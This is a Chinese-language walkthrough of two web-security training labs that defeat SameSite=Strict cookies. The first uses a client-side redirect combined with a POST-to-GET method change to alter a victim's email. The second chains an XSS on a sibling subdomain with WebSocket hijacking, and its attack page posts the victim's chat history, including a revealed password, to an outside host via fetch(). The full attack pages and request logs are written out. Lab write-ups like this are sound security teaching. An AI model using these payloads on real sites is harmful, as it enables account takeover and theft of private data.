如果使用SameSite=Strict
屬性設定 cookie
,瀏覽器將不會在任何跨網站請求中傳送它。儘管這是最安全的選項,但在需要跨網站功能的情況下,可能會對使用者體驗產生負面影響。儘管是最安全的設定,但還是有機會饒過,說明如下。
使用redirect饒過
如果目標有重導向問題和改請求方法問題,可饒過SameSite=Strict
限制
重導向問題
/post/comment/confirmation?postId
被發現有directory travel漏洞,可配合做重導向
############## request ##############
GET /post/comment/confirmation?postId=1/../../my-account HTTP/1.1
Host: 0ae1008d042bd4bf800b268d005d00c9.web-security-academy.net
Cookie: session=ZB7jE8GRib5hdloISwY6OW3Fhg4Ga0En
...omit...
############## response ##############
...omit...
<script src='/resources/js/commentConfirmationRedirect.js'>
...omit...
重導向的做法可參考commentConfirmationRedirect.js內的代碼如下
...omit...
redirectOnConfirmation = (blogPath) => {
setTimeout(() => {
const url = new URL(window.location);
const postId = url.searchParams.get("postId");
window.location = blogPath + '/' + postId;
}, 3000);
}
...omit...
最後重導向到/my-account
############## request ##############
GET /my-account HTTP/1.1
...omit...
改請求方法問題
如果要改EMAIL,原本的請求是用POST,如下
############## request ##############
POST /my-account/change-email HTTP/1.1
...omit...
email=wiener2%40normal-user.net&submit=1
############## response ##############
HTTP/1.1 302 Found
Location: /my-account
Connection: close
Content-Length: 0
但把他改成GET請求也可以用如下
############## request ##############
GET /my-account/change-email?email=wiener2%40normal-user.net&submit=1 HTTP/1.1
Host: 0ae1008d042bd4bf800b268d005d00c9.web-security-academy.net
Cookie: session=ZB7jE8GRib5hdloISwY6OW3Fhg4Ga0En
...omit...
############## response ##############
HTTP/1.1 302 Found
Location: /my-account
Connection: close
Content-Length: 0
準備攻擊頁面
結合上述重導向問題與改方法問題,準備攻擊頁面如下
<script>
document.location = "https://0ae1008d042bd4bf800b268d005d00c9.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40web-security-academy.net%26submit=1";
</script>
將內容做url encode如下
<script>
document.location = "https://0ae1008d042bd4bf800b268d005d00c9.web-security-academy.net/post/comment/confirmation?postId=1%2f%2e%2e%2f%2e%2e%2fmy-account/change-email?email=pwned%40web-security-academy.net%26submit=1";
</script>
驗證攻擊結果
當訪問訪問以上攻擊頁面,就會產生以下請求,
############### request ##############
GET /post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40web-security-academy.net%26submit=1 HTTP/2
Host: 0ae1008d042bd4bf800b268d005d00c9.web-security-academy.net
...omit...
############### response ##############
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=En6gHArKYfrA5sXUUkKZQC45jcrQanbn; Secure; HttpOnly; SameSite=Strict
X-Frame-Options: SAMEORIGIN
Content-Length: 3256
...omit..
<script>redirectOnConfirmation('/post');</script>
<h1>Thank you for your comment!</h1>
<p>Your comment has been submitted. You will be redirected momentarily.</p>
由於可重導向,因此被重導到/my-account/change-email
如下
############### request ##############
GET /my-account/change-email?email=pwned@web-security-academy.net&submit=1 HTTP/2
Host: 0ae1008d042bd4bf800b268d005d00c9.web-security-academy.net
Cookie: session=ZB7jE8GRib5hdloISwY6OW3Fhg4Ga0En
...omit...
############### response ##############
HTTP/2 302 Found
Location: /my-account?id=wiener
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Lab: SameSite Strict bypass via client-side redirect
利用子網域與XSS饒過
目標有SameSite=Strict
限制,可利用一些漏洞饒過,說明如下
準備CSRF攻擊頁面
目標有使用websocket,發起時會帶cookie
GET /chat HTTP/1.1
...omit...
Cookie: session=hYubTLpH7nlTqUNtyhKHL2ULx7o8cvGh
Sec-WebSocket-Key: CC97pCtWdWcehsxbarPCsw==
準備攻擊頁面如下
<script>
var ws = new WebSocket('wss://0a6e002b04fcf1a7c38a517f006b000c.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://outsidehost', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
當訪問到攻擊頁,會根據攻擊指令建立websocket,但因為SameSite=Strict
,所以無法用cookie
傳送
GET /chat HTTP/1.1
Host: 0a7a00bf03d7412685e694d200e800cc.web-security-academy.net
Sec-WebSocket-Key: vZKMrI+C1iXJjDxmPuXXSA==
...omit...
接著https://outsidehost
將會收到訊息,但因為沒帶cookie
,所以這只是竊取了全新會話的聊天歷史記錄,並不是特別有用
XSS
發現chat.js的返回內容包含 https://cms-0a7a00bf03d7412685e694d200e800cc.web-security-academy.net
############### request ###############
GET /resources/js/chat.js HTTP/2
Host: 0a7a00bf03d7412685e694d200e800cc.web-security-academy.net
...omit...
############### respone ###############
HTTP/2 200 OK
Content-Type: application/javascript; charset=utf-8
Cache-Control: public, max-age=3600
Access-Control-Allow-Origin: https://cms-0a7a00bf03d7412685e694d200e800cc.web-security-academy.net
X-Frame-Options: SAMEORIGIN
Content-Length: 3561
分析該網址後發現,在username參數有xss弱點,可使用<script>alert(1)</script>
如下
############### request ###############
POST /login HTTP/1.1
Host: cms-0a7a00bf03d7412685e694d200e800cc.web-security-academy.net
...omit...
username=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&password=1
############### respone ###############
...omit...
<p>Invalid username: <script>alert(1)</script></p>
...omit...
轉換成GET也可以正常運作,如下
############### request ###############
GET /login?username=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&password=1 HTTP/1.1
Host: cms-0a7a00bf03d7412685e694d200e800cc.web-security-academy.net
...omit...
############### respone ###############
...omit...
<p>Invalid username: <script>alert(1)</script></p>
...omit...
合併XSS和CSRF
將剛剛準備的攻擊頁urlencode編碼
<script>
var ws = new WebSocket('wss://0a6e002b04fcf1a7c38a517f006b000c.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://outsidehost', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%73%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%2f%30%61%36%65%30%30%32%62%30%34%66%63%66%31%61%37%63%33%38%61%35%31%37%66%30%30%36%62%30%30%30%63%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%27%29%3b%0a%20%20%20%20%77%73%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%73%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%20%20%20%20%7d%3b%0a%20%20%20%20%77%73%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%65%76%65%6e%74%29%20%7b%0a%20%20%20%20%20%20%20%20%66%65%74%63%68%28%27%68%74%74%70%73%3a%2f%2f%6b%76%6a%72%37%69%38%38%65%33%73%62%6d%66%33%65%6f%71%68%78%6b%68%65%79%65%70%6b%67%38%35%2e%62%75%72%70%63%6f%6c%6c%61%62%6f%72%61%74%6f%72%2e%6e%65%74%27%2c%20%7b%6d%65%74%68%6f%64%3a%20%27%50%4f%53%54%27%2c%20%6d%6f%64%65%3a%20%27%6e%6f%2d%63%6f%72%73%27%2c%20%62%6f%64%79%3a%20%65%76%65%6e%74%2e%64%61%74%61%7d%29%3b%0a%20%20%20%20%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e
準備另一個攻擊頁面,將剛剛的urlencode編碼內容放到username後
<script>
document.location = "https://cms-0a6e002b04fcf1a7c38a517f006b000c.web-security-academy.net/login?username=%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%73%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%2f%30%61%36%65%30%30%32%62%30%34%66%63%66%31%61%37%63%33%38%61%35%31%37%66%30%30%36%62%30%30%30%63%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%27%29%3b%0a%20%20%20%20%77%73%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%73%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%20%20%20%20%7d%3b%0a%20%20%20%20%77%73%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%65%76%65%6e%74%29%20%7b%0a%20%20%20%20%20%20%20%20%66%65%74%63%68%28%27%68%74%74%70%73%3a%2f%2f%6b%76%6a%72%37%69%38%38%65%33%73%62%6d%66%33%65%6f%71%68%78%6b%68%65%79%65%70%6b%67%38%35%2e%62%75%72%70%63%6f%6c%6c%61%62%6f%72%61%74%6f%72%2e%6e%65%74%27%2c%20%7b%6d%65%74%68%6f%64%3a%20%27%50%4f%53%54%27%2c%20%6d%6f%64%65%3a%20%27%6e%6f%2d%63%6f%72%73%27%2c%20%62%6f%64%79%3a%20%65%76%65%6e%74%2e%64%61%74%61%7d%29%3b%0a%20%20%20%20%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e&password=anything";
</script>
攻擊網頁流程
一旦受害者訪問該攻擊頁,就會使用username的XSS漏洞
############### request ###############
GET /login?username=%3c%73%63%72%69...omit...%70%74%3e&password=anything HTTP/2
Host: cms-0a7a00bf03d7412685e694d200e800cc.web-security-academy.net
...omit...
############### response ###############
...omit...
<p>Invalid username: <script>
var ws = new WebSocket('wss://0a7a00bf03d7412685e694d200e800cc.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://outsidehost', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script></p>
...omit...
執行XSS指定的代碼,使用受害者的cookie
建立websocket,並把內容傳送到https://outsidehost
############### request ###############
GET /chat HTTP/2
Host: 0a7a00bf03d7412685e694d200e800cc.web-security-academy.net
Upgrade: websocket
Origin: https://cms-0a7a00bf03d7412685e694d200e800cc.web-security-academy.net
Cookie: session=RE5nG3brEHF8odVfEKK0mZkK1SKTh70N
Sec-Websocket-Key: e+klpHJ6JJxhBuVlc1pgDg==
...omit...
############### response ###############
HTTP/1.1 101 Switching Protocol
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: J7wztriL29ECxk5T0amm40TybjQ=
Content-Length: 0
https://outsidehost
將會收到訊息,受害者的訊息都能看到如下
{"user":"You","content":"I forgot my password"}
{"user":"Hal Pline","content":"No problem carlos, it's xhu8b4knhbryp1l9ocs6"}
Lab: SameSite Strict bypass via sibling domain